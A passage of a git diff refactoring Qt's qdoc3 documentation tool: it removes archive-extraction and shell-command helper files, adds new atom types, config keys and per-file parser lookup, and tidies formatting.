diff --git a/tools/qdoc3/archiveextractor.cpp b/tools/qdoc3/archiveextractor.cpp
deleted file mode 100644
index e9f591e..0000000
--- a/tools/qdoc3/archiveextractor.cpp
+++ /dev/null
@@ -1,108 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  archiveextractor.cpp
-*/
-
-#include "archiveextractor.h"
-
-QT_BEGIN_NAMESPACE
-
-QList<ArchiveExtractor *> ArchiveExtractor::extractors;
-
-/*!
-  \class ArchiveExtractor
-  
-  \brief The ArchiveExtractor class is a base class for classes that
-  know how to unpack a certain kind of archive file.
-
-  The archive extractor contains a list of the filename extensions
-  of the files that the archive extractor knows how to unpack.
-
-  It maintains a static list of all the instances of ArchiveExtractor
-  that have been created. It also has a static function for searching
-  that list to find the archive extracter for a file with a certain
-  extension.
- */
-
-/*!
-  The constructor takes a list of filename extensions, which it
-  copies and saves internally. This archive extractor is prepended
-  to the static list.
- */
-ArchiveExtractor::ArchiveExtractor( const QStringList& extensions )
-    : fileExts( extensions )
-{
-    extractors.prepend( this );
-}
-
-/*!
-  The destructor deletes all the filename extensions.
- */
-ArchiveExtractor::~ArchiveExtractor()
-{
-    extractors.removeAll( this );
-}
-
-/*!
-  This function searches the static list of archive extractors
-  to find the first one that can handle \a fileName. If it finds
-  an acceptable extractor, it returns a pointer to it. Otherwise
-  it returns null.
- */
-ArchiveExtractor*
-ArchiveExtractor::extractorForFileName( const QString& fileName )
-{
-    int dot = -1;
-    while ( (dot = fileName.indexOf(QLatin1Char('.'), dot + 1)) != -1 ) {
-        QString ext = fileName.mid( dot + 1 );
-        QList<ArchiveExtractor *>::ConstIterator e = extractors.begin();
-        while ( e != extractors.end() ) {
-            if ( (*e)->fileExtensions().contains(ext) )
-                return *e;
-            ++e;
-        }
-    }
-    return 0;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp
index 122a27a..fb473c7 100644
--- a/tools/qdoc3/atom.cpp
+++ b/tools/qdoc3/atom.cpp
@@ -107,6 +107,7 @@ QString Atom::UPPERROMAN_    ("upperroman");
   \value CodeOld
   \value CodeQuoteArgument
   \value CodeQuoteCommand
+  \value Div
   \value EndQmlText
   \value FormatElse
   \value FormatEndif
@@ -179,6 +180,8 @@ static const struct {
     { "CodeOld", Atom::CodeOld },
     { "CodeQuoteArgument", Atom::CodeQuoteArgument },
     { "CodeQuoteCommand", Atom::CodeQuoteCommand },
+    { "Div", Atom::Div },
+    { "EndDiv", Atom::EndDiv },
 #ifdef QDOC_QML
     { "EndQmlText", Atom::EndQmlText },
 #endif
@@ -190,6 +193,7 @@ static const struct {
     { "FormattingLeft", Atom::FormattingLeft },
     { "FormattingRight", Atom::FormattingRight },
     { "GeneratedList", Atom::GeneratedList },
+    { "GuidLink", Atom::GuidLink},
     { "Image", Atom::Image },
     { "ImageText", Atom::ImageText },
     { "InlineImage", Atom::InlineImage },
@@ -241,25 +245,25 @@ static const struct {
     { 0, 0 }
 };
 
-/*! \fn Atom::Atom( Type type, const QString& string )
+/*! \fn Atom::Atom(Type type, const QString& string)
 
   Constructs an atom (\a type, \a string) outside of any atom list.
 */
 
-/*! \fn Atom( Atom *prev, Type type, const QString& string )
+/*! \fn Atom(Atom *prev, Type type, const QString& string)
 
   Constructs an atom (\a type, \a string) that follows \a prev in \a
   prev's atom list.
 */
 
-/*! \fn void Atom::appendChar( QChar ch )
+/*! \fn void Atom::appendChar(QChar ch)
 
   Appends \a ch to the string parameter of this atom.
 
   \also string()
 */
 
-/*! \fn void Atom::appendString( const QString& string )
+/*! \fn void Atom::appendString(const QString& string)
 
   Appends \a string to the string parameter of this atom.
 
@@ -316,18 +320,18 @@ QString Atom::typeString() const
 {
     static bool deja = false;
 
-    if ( !deja ) {
+    if (!deja) {
 	int i = 0;
-	while ( atms[i].english != 0 ) {
-	    if ( atms[i].no != i )
-		Location::internalError( tr("atom %1 missing").arg(i) );
+	while (atms[i].english != 0) {
+	    if (atms[i].no != i)
+		Location::internalError(tr("atom %1 missing").arg(i));
 	    i++;
 	}
 	deja = true;
     }
 
     int i = (int) type();
-    if ( i < 0 || i > (int) Last )
+    if (i < 0 || i > (int) Last)
         return QLatin1String("Invalid");
     return QLatin1String(atms[i].english);
 }
@@ -346,10 +350,10 @@ QString Atom::typeString() const
 void Atom::dump() const
 {
     QString str = string();
-    str.replace( "\\", "\\\\" );
-    str.replace( "\"", "\\\"" );
-    str.replace( "\n", "\\n" );
-    str.replace( QRegExp("[^\x20-\x7e]"), "?" );
+    str.replace("\\", "\\\\");
+    str.replace("\"", "\\\"");
+    str.replace("\n", "\\n");
+    str.replace(QRegExp("[^\x20-\x7e]"), "?");
     if (!str.isEmpty())
         str = " \"" + str + "\"";
     fprintf(stderr,
diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h
index ce86bd4..e3b993e 100644
--- a/tools/qdoc3/atom.h
+++ b/tools/qdoc3/atom.h
@@ -56,82 +56,89 @@ class Atom
 {
  public:
     enum Type { 
-        AbstractLeft, 
-        AbstractRight, 
+        AbstractLeft,       // 00
+        AbstractRight,
         AnnotatedList,
         AutoLink,
-        BaseName, 
+        BaseName,
         BriefLeft,
-        BriefRight, 
+        BriefRight,
         C,
-        CaptionLeft, 
+        CaptionLeft,
         CaptionRight,
-        Code, 
-        CodeBad, 
-        CodeNew, 
-        CodeOld, 
+        Code,               // 10
+        CodeBad,
+        CodeNew,
+        CodeOld,
         CodeQuoteArgument,
         CodeQuoteCommand,
+        Div,
 #ifdef QDOC_QML
+        EndDiv,
         EndQmlText,
 #endif
         FootnoteLeft,
-        FootnoteRight,
-        FormatElse, 
+        FootnoteRight,      // 20
+        FormatElse,
         FormatEndif,
         FormatIf,
         FormattingLeft,
         FormattingRight,
         GeneratedList,
-        Image, 
+        GuidLink,
+        Image,
         ImageText,
-        InlineImage,
+        InlineImage,        // 30
+#ifdef QDOC_QML
+        JavaScript,
+        EndJavaScript,
+#endif
         LegaleseLeft,
         LegaleseRight,
-        LineBreak, 
-        Link, 
+        LineBreak,
+        Link,
         LinkNode,
-        ListLeft, 
+        ListLeft,
         ListItemNumber,
-        ListTagLeft,
-        ListTagRight,
-        ListItemLeft,
-        ListItemRight, 
-        ListRight, 
-        Nop, 
+        ListTagLeft,        // 40
+        ListTagRight,       // 41
+        ListItemLeft,       // 42
+        ListItemRight,      // 43
+        ListRight,          // 44
+        Nop,
         ParaLeft,
-        ParaRight, 
+        ParaRight,
 #ifdef QDOC_QML
         Qml,
         QmlText,
 #endif
-        QuotationLeft, 
+        QuotationLeft,      // 50
         QuotationRight,
         RawString,
-        SectionLeft,
+        SectionLeft,        // 53
         SectionRight,
         SectionHeadingLeft,
         SectionHeadingRight,
-        SidebarLeft, 
+        SidebarLeft,
         SidebarRight,
         SinceList,
-        SnippetCommand,
+        SnippetCommand,     // 60
         SnippetIdentifier,
         SnippetLocation,
-        String,
-        TableLeft,
-        TableRight, 
+        String,             // 63
+        TableLeft,          // 64
+        TableRight,
         TableHeaderLeft,
         TableHeaderRight,
         TableRowLeft,
-        TableRowRight, 
-        TableItemLeft, 
+        TableRowRight,
+        TableItemLeft,      // 70
         TableItemRight,
         TableOfContents,
-        Target,
+        Target,             // 73
         UnhandledFormat, 
         UnknownCommand,
-        Last = UnknownCommand 
+        Last = UnknownCommand
     };
 
     Atom(Type type, const QString &string = "")
diff --git a/tools/qdoc3/bookgenerator.cpp b/tools/qdoc3/bookgenerator.cpp
deleted file mode 100644
index 17e191f..0000000
--- a/tools/qdoc3/bookgenerator.cpp
+++ /dev/null
@@ -1,64 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  bookgenerator.cpp
-*/
-
-#include "bookgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-BookGenerator::BookGenerator()
-{
-}
-
-BookGenerator::~BookGenerator()
-{
-}
-
-void BookGenerator::generateTree( const Tree *tree, CodeMarker *marker )
-{
-    Q_UNUSED( tree )
-    Q_UNUSED( marker )
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp
index 15228f4..58642ef 100644
--- a/tools/qdoc3/codemarker.cpp
+++ b/tools/qdoc3/codemarker.cpp
@@ -40,7 +40,6 @@
 ****************************************************************************/
 
 #include <QMetaObject>
-#include <QDebug>
 #include "codemarker.h"
 #include "config.h"
 #include "node.h"
@@ -60,7 +59,6 @@ QList<CodeMarker *> CodeMarker::markers;
   been read.
  */
 CodeMarker::CodeMarker()
-    : slow(false)
 {
     markers.prepend(this);
 }
@@ -75,14 +73,11 @@ CodeMarker::~CodeMarker()
 }
 
 /*!
-  The only thing a code market initializes is its \e{slow}
-  flag. The \e{slow} flag indicates whether the operations
-  that slow down qdoc are to be performed or not. It is
-  turned off by default. 
+  A code market performs no initialization by default. Marker-specific
+  initialization is performed in subclasses.
  */
 void CodeMarker::initializeMarker(const Config &config)
 {
-    slow = config.getBool(QLatin1String(CONFIG_SLOW));
 }
 
 /*!
diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h
index 7abdaad..65fcdd4 100644
--- a/tools/qdoc3/codemarker.h
+++ b/tools/qdoc3/codemarker.h
@@ -48,6 +48,7 @@
 
 #include <qpair.h>
 
+#include "atom.h"
 #include "node.h"
 
 QT_BEGIN_NAMESPACE
@@ -107,13 +108,6 @@ struct FastSection
 
 };
 
-#if 0
-                const QString& name0 = "",
-                const QString& divClass0 = "",
-                const QString& singularMember0 = "member",
-                const QString& pluralMember0 = "members")
-#endif
-
 class CodeMarker
 {
  public:
@@ -128,12 +122,13 @@ class CodeMarker
     virtual bool recognizeCode(const QString& code) = 0;
     virtual bool recognizeExtension(const QString& ext) = 0;
     virtual bool recognizeLanguage(const QString& lang) = 0;
+    virtual Atom::Type atomType() const = 0;
     virtual QString plainName(const Node *node) = 0;
     virtual QString plainFullName(const Node *node, 
                                   const Node *relative = 0) = 0;
     virtual QString markedUpCode(const QString& code, 
                                  const Node *relative,
-                                 const QString& dirPath) = 0;
+                                 const Location &location) = 0;
     virtual QString markedUpSynopsis(const Node *node, 
                                      const Node *relative,
                                      SynopsisStyle style) = 0;
@@ -171,8 +166,6 @@ class CodeMarker
     static QString stringForNode(const Node *node);
 
  protected:
-    bool hurryUp() const { return !slow; }
-
     virtual QString sortName(const Node *node);
     QString protect(const QString &string);
     QString typified(const QString &string);
@@ -191,8 +184,6 @@ class CodeMarker
  private:
     QString macName(const Node *parent, const QString &name = QString());
 
-    bool slow;
-
     static QString defaultLang;
     static QList<CodeMarker *> markers;
 };
diff --git a/tools/qdoc3/codeparser.cpp b/tools/qdoc3/codeparser.cpp
index 0ecf7db..cf91b75 100644
--- a/tools/qdoc3/codeparser.cpp
+++ b/tools/qdoc3/codeparser.cpp
@@ -47,7 +47,6 @@
 #include "node.h"
 #include "tree.h"
 #include "config.h"
-#include <QDebug>
 
 QT_BEGIN_NAMESPACE
 
@@ -99,14 +98,14 @@ void CodeParser::initializeParser(const Config& config)
 }
 
 /*!
-  Teerminating a code parser is trivial.
+  Terminating a code parser is trivial.
  */
 void CodeParser::terminateParser()
 {
     // nothing.
 }
 
-QString CodeParser::headerFileNameFilter()
+QStringList CodeParser::headerFileNameFilter()
 {
     return sourceFileNameFilter();
 }
@@ -159,6 +158,42 @@ CodeParser *CodeParser::parserForLanguage(const QString& language)
     return 0;
 }
 
+CodeParser *CodeParser::parserForHeaderFile(const QString &filePath)
+{
+    QString fileName = QFileInfo(filePath).fileName();
+
+    QList<CodeParser *>::ConstIterator p = parsers.begin();
+    while (p != parsers.end()) {
+
+	QStringList headerPatterns = (*p)->headerFileNameFilter();
+	foreach (QString pattern, headerPatterns) {
+            QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard);
+            if (re.exactMatch(fileName))
+                return *p;
+        }
+	++p;
+    }
+    return 0;
+}
+
+CodeParser *CodeParser::parserForSourceFile(const QString &filePath)
+{
+    QString fileName = QFileInfo(filePath).fileName();
+
+    QList<CodeParser *>::ConstIterator p = parsers.begin();
+    while (p != parsers.end()) {
+
+	QStringList sourcePatterns = (*p)->sourceFileNameFilter();
+	foreach (QString pattern, sourcePatterns) {
+            QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard);
+            if (re.exactMatch(fileName))
+                return *p;
+        }
+	++p;
+    }
+    return 0;
+}
+
 /*!
   Returns the set of strings representing the common metacommands.
  */
diff --git a/tools/qdoc3/codeparser.h b/tools/qdoc3/codeparser.h
index 683ee16..b297eb9 100644
--- a/tools/qdoc3/codeparser.h
+++ b/tools/qdoc3/codeparser.h
@@ -66,8 +66,8 @@ class CodeParser
     virtual void initializeParser(const Config& config);
     virtual void terminateParser();
     virtual QString language() = 0;
-    virtual QString headerFileNameFilter();
-    virtual QString sourceFileNameFilter() = 0;
+    virtual QStringList headerFileNameFilter();
+    virtual QStringList sourceFileNameFilter() = 0;
     virtual void parseHeaderFile(const Location& location,
                                  const QString& filePath, Tree *tree);
     virtual void parseSourceFile(const Location& location,
@@ -78,6 +78,8 @@ class CodeParser
     static void initialize(const Config& config);
     static void terminate();
     static CodeParser *parserForLanguage(const QString& language);
+    static CodeParser *parserForHeaderFile(const QString &filePath);
+    static CodeParser *parserForSourceFile(const QString &filePath);
     static const QString titleFromName(const QString& name);
 
  protected:
diff --git a/tools/qdoc3/command.cpp b/tools/qdoc3/command.cpp
deleted file mode 100644
index 917b5b5..0000000
--- a/tools/qdoc3/command.cpp
+++ /dev/null
@@ -1,103 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  command.cpp
-*/
-
-#include <QProcess>
-
-#include "command.h"
-
-#include <stdlib.h>
-
-QT_BEGIN_NAMESPACE
-
-void executeCommand(const Location& location,
-                    const QString& format,
-                    const QStringList& args)
-{
-    QString actualCommand;
-    for (int i = 0; i < (int) format.length(); i++) {
-	int ch = format[i].unicode();
-	if (ch > 0 && ch < 8) {
-	    actualCommand += args[ch - 1];
-	}
-        else {
-	    actualCommand += format[i];
-	}
-    }
-
-    QString toolName = actualCommand;
-    int space = toolName.indexOf(QLatin1Char(' '));
-    if (space != -1)
-	toolName.truncate(space);
-
-#ifdef QT_BOOTSTRAPPED
-    int status = system(qPrintable(actualCommand));
-    int exitCode = WEXITSTATUS(status);
-    if (status == -1 || exitCode != EXIT_SUCCESS)
-        location.fatal(QString("Error executing '$1': $2").arg(toolName).arg(exitCode));
-#else
-    QProcess process;
-    process.start(QLatin1String("sh"),
-        QStringList() << QLatin1String("-c") << actualCommand);
-    process.waitForFinished();
-
-    if (process.exitCode() == 127)
-	location.fatal(tr("Couldn't launch the '%1' tool")
-                       .arg(toolName),
-                       tr("Make sure the tool is installed and in the"
-                          " path."));
-
-    QString errors = QString::fromLocal8Bit(process.readAllStandardError());
-    while (errors.endsWith(QLatin1Char('\n')))
-        errors.truncate(errors.length() - 1);
-    if (!errors.isEmpty())
-	location.fatal(tr("The '%1' tool encountered some problems")
-                       .arg(toolName),
-                       tr("The tool was invoked like this:\n%1\n"
-                          "It emitted these errors:\n%2")
-                       .arg(actualCommand).arg(errors));
-#endif
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/command.h b/tools/qdoc3/command.h
deleted file mode 100644
index b0aac18..0000000
--- a/tools/qdoc3/command.h
+++ /dev/null
@@ -1,60 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  command.h
-*/
-
-#ifndef COMMAND_H
-#define COMMAND_H
-
-#include <qstringlist.h>
-
-#include "location.h"
-
-QT_BEGIN_NAMESPACE
-
-void executeCommand( const Location& location, const QString& commandFormat,
-		     const QStringList& args );
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/config.cpp b/tools/qdoc3/config.cpp
index fa48d08..08a8187 100644
--- a/tools/qdoc3/config.cpp
+++ b/tools/qdoc3/config.cpp
@@ -49,9 +49,7 @@
 #include <QTemporaryFile>
 #include <QTextStream>
 
-#include "archiveextractor.h"
 #include "config.h"
-#include "uncompressor.h"
 #include <stdlib.h>
 
 QT_BEGIN_NAMESPACE
@@ -150,7 +148,6 @@ QStringList MetaStack::getExpanded(const Location& location)
 }
 
 QT_STATIC_CONST_IMPL QString Config::dot = QLatin1String(".");
-QMap<QString, QString> Config::uncompressedFiles;
 QMap<QString, QString> Config::extractedDirs;
 int Config::numInstances;
 
@@ -178,30 +175,9 @@ Config::Config(const QString& programName)
 }
 
 /*!
-  The destructor deletes all the temporary files and
-  directories it built.
  */
 Config::~Config()
 {
-    if (--numInstances == 0) {
-	QMap<QString, QString>::ConstIterator f = uncompressedFiles.begin();
-	while (f != uncompressedFiles.end()) {
-	    QDir().remove(*f);
-	    ++f;
-	}
-	uncompressedFiles.clear();
-
-	QMap<QString, QString>::ConstIterator d = extractedDirs.begin();
-	while (d != extractedDirs.end()) {
-	    removeDirContents(*d);
-	    QDir dir(*d);
-	    QString name = dir.dirName();
-	    dir.cdUp();
-	    dir.rmdir(name);
-	    ++d;
-	}
-	extractedDirs.clear();
-    }
 }
 
 /*!
@@ -383,16 +359,12 @@ QSet<QString> Config::subVars(const QString& var) const
  */
 QStringList Config::getAllFiles(const QString &filesVar,
                                 const QString &dirsVar,
-				const QString &defaultNameFilter,
                                 const QSet<QString> &excludedDirs)
 {
     QStringList result = getStringList(filesVar);
     QStringList dirs = getStringList(dirsVar);
 
-    QString nameFilter = getString(filesVar + dot +
-        QLatin1String(CONFIG_FILEEXTENSIONS));
-    if (nameFilter.isEmpty())
-        nameFilter = defaultNameFilter;
+    QString nameFilter = getString(filesVar + dot + QLatin1String(CONFIG_FILEEXTENSIONS));
 
     QStringList::ConstIterator d = dirs.begin();
     while (d != dirs.end()) {
@@ -456,62 +428,18 @@ QString Config::findFile(const Location& location,
     QStringList::ConstIterator c = components.begin();
     for (;;) {
 	bool isArchive = (c != components.end() - 1);
-	ArchiveExtractor *extractor = 0;
 	QString userFriendly = *c;
 
-	if (isArchive) {
-	    extractor = ArchiveExtractor::extractorForFileName(userFriendly);
-        }
-
-	if (extractor == 0) {
-	    Uncompressor *uncompressor =
-		    Uncompressor::uncompressorForFileName(userFriendly);
-	    if (uncompressor != 0) {
-		QString fileNameWithCorrectExtension =
-			uncompressor->uncompressedFilePath(
-				fileInfo.filePath());
-		QString uncompressed = uncompressedFiles[fileInfo.filePath()];
-		if (uncompressed.isEmpty()) {
-		    uncompressed =
-                        QTemporaryFile(fileInfo.filePath()).fileName();
-		    uncompressor->uncompressFile(location,
-                                                 fileInfo.filePath(),
-                                                 uncompressed);
-		    uncompressedFiles[fileInfo.filePath()] = uncompressed;
-		}
-		fileInfo.setFile(uncompressed);
-
-		if (isArchive) {
-		    extractor = ArchiveExtractor::extractorForFileName(
-					fileNameWithCorrectExtension);
-		}
-                else {
-		    userFriendly = fileNameWithCorrectExtension;
-		}
-	    }
-	}
 	userFriendlyFilePath += userFriendly;
 
 	if (isArchive) {
-	    if (extractor == 0)
-		location.fatal(tr("Unknown archive type '%1'")
-				.arg(userFriendlyFilePath));
 	    QString extracted = extractedDirs[fileInfo.filePath()];
-	    if (extracted.isEmpty()) {
-		extracted = QTemporaryFile(fileInfo.filePath()).fileName();
-		if (!QDir().mkdir(extracted))
-		    location.fatal(tr("Cannot create temporary directory '%1'")
-				    .arg(extracted));
-		extractor->extractArchive(location, fileInfo.filePath(),
-					   extracted);
-		extractedDirs[fileInfo.filePath()] = extracted;
-	    }
 	    ++c;
 	    fileInfo.setFile(QDir(extracted), *c);
 	}
-        else {
+        else
 	    break;
-	}
+
 	userFriendlyFilePath += "?";
     }
     return fileInfo.filePath();
diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h
index fc277a7..9ebc0f8 100644
--- a/tools/qdoc3/config.h
+++ b/tools/qdoc3/config.h
@@ -76,7 +76,6 @@ class Config
     QSet<QString> subVars(const QString& var) const;
     QStringList getAllFiles(const QString& filesVar, 
                             const QString& dirsVar,
-                            const QString& defaultNameFilter,
                             const QSet<QString> &excludedDirs = QSet<QString>());
 
     static QStringList getFilesHere(const QString& dir,
@@ -119,12 +118,12 @@ class Config
 };
 
 #define CONFIG_ALIAS                    "alias"
-#define CONFIG_APPLICATION		"application"
 #define CONFIG_BASE                     "base"      // ### don't document for now
 #define CONFIG_CODEINDENT               "codeindent"
 #define CONFIG_DEFINES                  "defines"
 #define CONFIG_DESCRIPTION              "description"
 #define CONFIG_EDITION                  "edition"
+#define CONFIG_ENDHEADER                "endheader"
 #define CONFIG_EXAMPLEDIRS              "exampledirs"
 #define CONFIG_EXAMPLES                 "examples"
 #define CONFIG_EXCLUDEDIRS              "excludedirs"
@@ -134,6 +133,8 @@ class Config
 #define CONFIG_GENERATEINDEX            "generateindex"
 #define CONFIG_HEADERDIRS               "headerdirs"
 #define CONFIG_HEADERS                  "headers"
+#define CONFIG_HEADERSCRIPTS            "headerscripts"
+#define CONFIG_HEADERSTYLES             "headerstyles"
 #define CONFIG_IGNOREDIRECTIVES         "ignoredirectives"
 #define CONFIG_IGNORETOKENS             "ignoretokens"
 #define CONFIG_IMAGEDIRS                "imagedirs"
@@ -143,11 +144,11 @@ class Config
 #define CONFIG_MACRO                    "macro"
 #define CONFIG_NATURALLANGUAGE          "naturallanguage"
 #define CONFIG_OBSOLETELINKS            "obsoletelinks"
-#define CONFIG_APPLICATION              "application"
 #define CONFIG_OUTPUTDIR                "outputdir"
 #define CONFIG_OUTPUTENCODING           "outputencoding"
 #define CONFIG_OUTPUTLANGUAGE           "outputlanguage"
 #define CONFIG_OUTPUTFORMATS            "outputformats"
+#define CONFIG_OUTPUTPREFIXES           "outputprefixes"
 #define CONFIG_PROJECT                  "project"
 #define CONFIG_QHP                      "qhp"
 #define CONFIG_QUOTINGINFORMATION       "quotinginformation"
@@ -160,8 +161,11 @@ class Config
 #define CONFIG_SOURCES                  "sources"
 #define CONFIG_SPURIOUS                 "spurious"
 #define CONFIG_STYLEDIRS                "styledirs"
+#define CONFIG_STYLE                    "style"
 #define CONFIG_STYLES                   "styles"
 #define CONFIG_STYLESHEETS              "stylesheets"
+#define CONFIG_SYNTAXHIGHLIGHTING       "syntaxhighlighting"
+#define CONFIG_TEMPLATEDIR              "templatedir"
 #define CONFIG_TABSIZE                  "tabsize"
 #define CONFIG_TAGFILE                  "tagfile"
 #define CONFIG_TRANSLATORS              "translators" // ### don't document for now
diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp
index f04398f..e27916b 100644
--- a/tools/qdoc3/cppcodemarker.cpp
+++ b/tools/qdoc3/cppcodemarker.cpp
@@ -43,7 +43,6 @@
   cppcodemarker.cpp
 */
 
-#include <qdebug.h>
 #include "atom.h"
 #include "cppcodemarker.h"
 #include "node.h"
@@ -52,29 +51,6 @@
 
 QT_BEGIN_NAMESPACE
 
-static int insertTagAround(QString &result, int pos, int len, const QString &tagName,
-                           const QString &attributes = QString())
-{
-    QString s;
-    //s.reserve(result.size() + tagName.size() * 2 + attributes.size() + 20);
-    s += result.midRef(0, pos);
-    s += QLatin1Char('<');
-    s += tagName;
-    if (!attributes.isEmpty()) {
-        s += QLatin1Char(' ');
-        s += attributes;
-    }
-    s += QLatin1Char('>');
-    s += result.midRef(pos, len);
-    s += QLatin1String("</");
-    s += tagName;
-    s += QLatin1Char('>');
-    s += result.midRef(pos + len);
-    int diff = s.length() - result.length();
-    result = s;
-    return diff;
-}
-
 /*!
   The constructor does nothing.
  */
@@ -127,6 +103,14 @@ bool CppCodeMarker::recognizeLanguage(const QString &lang)
 }
 
 /*!
+  Returns the type of atom used to represent C++ code in the documentation.
+*/
+Atom::Type CppCodeMarker::atomType() const
+{
+    return Atom::Code;
+}
+
+/*!
   Returns the \a node name, or "()" if \a node is a
   Node::Function node.
  */
@@ -158,9 +142,9 @@ QString CppCodeMarker::plainFullName(const Node *node, const Node *relative)
 
 QString CppCodeMarker::markedUpCode(const QString &code,
                                     const Node *relative,
-				    const QString &dirPath)
+				    const Location &location)
 {
-    return addMarkUp(protect(code), relative, dirPath);
+    return addMarkUp(code, relative, location);
 }
 
 QString CppCodeMarker::markedUpSynopsis(const Node *node,
@@ -438,10 +422,10 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes)
 
     QStringList::ConstIterator inc = includes.begin();
     while (inc != includes.end()) {
-	code += "#include &lt;<@headerfile>" + *inc + "</@headerfile>&gt;\n";
+	code += "<@preprocessor>#include &lt;<@headerfile>" + *inc + "</@headerfile>&gt;</@preprocessor>\n";
 	++inc;
     }
-    return addMarkUp(code, 0, "");
+    return code;
 }
 
 QString CppCodeMarker::functionBeginRegExp(const QString& funcName)
@@ -455,21 +439,6 @@ QString CppCodeMarker::functionEndRegExp(const QString& /* funcName */)
     return "^\\}$";
 }
 
-#if 0
-	    FastSection privateReimpFuncs(classe,
-                                          "Private Reimplemented Functions",
-                                          "private reimplemented function",
-                                          "private reimplemented functions");
-	    FastSection protectedReimpFuncs(classe,
-                                            "Protected Reimplemented Functions",
-                                            "protected reimplemented function",
-                                            "protected reimplemented functions");
-	    FastSection publicReimpFuncs(classe,
-                                         "Public Reimplemented Functions",
-                                         "public reimplemented function",
-                                         "public reimplemented functions");
-#endif
-
 QList<Section> CppCodeMarker::sections(const InnerNode *inner,
